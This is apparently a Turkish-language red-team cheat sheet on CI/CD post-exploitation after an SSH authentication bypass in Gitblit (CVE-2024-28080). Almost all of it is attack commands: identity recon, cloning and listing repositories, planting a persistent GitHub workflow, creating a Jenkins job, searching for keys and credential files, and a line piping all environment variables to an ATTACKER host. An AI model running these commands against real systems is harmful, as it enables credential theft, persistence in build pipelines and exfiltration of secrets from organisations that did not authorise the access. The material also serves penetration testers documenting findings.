Ssh Auth Bypass
CI/CD post-ex
Ssh Auth Bypass — CI/CD ve DevOps ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.
Saldırı akışı
Section titled “Saldırı akışı”-
Hedef veriyi / trafiği / compute’u seç.
-
Exfil veya yan etki primitifini çalıştır.
-
İkinci hesap / iç ağ pivotunu dene.
-
Kanıt paketini (çıktı, hash, zaman) kaydet.
Kimlik / oturum
Section titled “Kimlik / oturum”Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.
gh auth status 2>/dev/nullenv | rg -i 'token|secret|key|password' | headaws sts get-caller-identity 2>/dev/nullaz account show 2>/dev/nullgcloud auth list 2>/dev/nullHedef komutlar
Section titled “Hedef komutlar”Ssh Auth Bypass için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.
CVE-2024-28080 embedded SSH auth bypass — fingerprint sürüm + SSH bannergit clone ssh://git@GITBLIT:29418/repo.gitcurl -sk https://GITBLIT/rpc/?req=LIST_REPOSITORIESssh -p 29418 git@GITBLITKalıcılık / etki
Section titled “Kalıcılık / etki”Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.
gh api -X PUT repos/ORG/REPO/contents/.github/workflows/persist.yml -f message=x -f content=$(base64 -w0 w.yml)curl -sk -u user:token -X POST https://JENKINS/createItem?name=persist --data-binary @config.xml -H 'Content-Type: application/xml'printenv | curl -sX POST --data-binary @- https://ATTACKER/exfilSecret / credential avı
Section titled “Secret / credential avı”Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'printenv | sortfind / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.
request/response veya CLI çıktısıhesap / proje / clusteretki: okuma | yazma | RCE | lateralzaman damgası + dosya hashmkdir -p evidence/cloud && tee evidence/cloud/notes.txt